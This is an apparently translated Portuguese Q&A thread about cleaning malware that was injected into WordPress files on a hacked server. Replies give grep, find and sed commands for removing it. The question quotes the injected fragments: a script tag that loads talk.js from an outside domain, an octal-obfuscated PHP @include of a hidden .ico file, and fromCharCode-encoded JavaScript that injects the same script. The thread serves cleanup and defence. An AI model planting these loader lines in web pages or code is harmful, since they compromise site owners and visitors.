Então, todo o meu servidor foi hackeado ou teve o problema de malware. meu site é baseado no WordPress e a maioria dos sites hospedados no meu servidor é baseada no WordPress. O hacker adicionou essa linha de código a cada arquivo e no banco de dados
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Eu pesquisei via grep usando
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Estou tentando substituí-lo por toda a estrutura do arquivo sed
e escrevi o seguinte comando.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Estou tentando substituir a string em um único arquivo index.php
primeiro, então sei que funciona.
e eu sei que meu código está errado. Por favor me ajude com isso.
Eu tentei com o código do @ Eran e ele excluiu toda a linha, o que é bom e como esperado. No entanto, o jargão total é este
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
E embora eu queira excluir todo o conteúdo, desejo manter a tag de abertura do php <?php
.
Embora a solução da @ slybloty seja fácil e funcionou.
para remover completamente o código de todos os arquivos afetados. Estou executando os 3 comandos a seguir, obrigado a todos por isso.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Para remover a linha de scriptfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Para remover a@include
linhafind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Para remover a linha de comentário
Além disso, executei todos os 3 comandos novamente para '*.html'
, porque o script do hacker criou index.html indesejado em todos os diretórios. Não tinha certeza se a exclusão desses index.html em massa é a abordagem correta.
agora, ainda preciso descobrir os arquivos indesejados e seus rastros.
O script do hacker adicionou o código JS também.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Tentando ver se consigo sed
também.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
A -l
opção fornece apenas o nome do arquivo e não o texto correspondente.
sed -i
. Por exemplo, sed -i.bak
criará um *.bak
arquivo para todos os arquivos editados. Quando usado com o while...grep
loop, você fará backup apenas dos arquivos que continham essa sequência. Desculpe por todos os comentários adicionais, mas, na minha opinião, o malware é um cenário "de mãos dadas".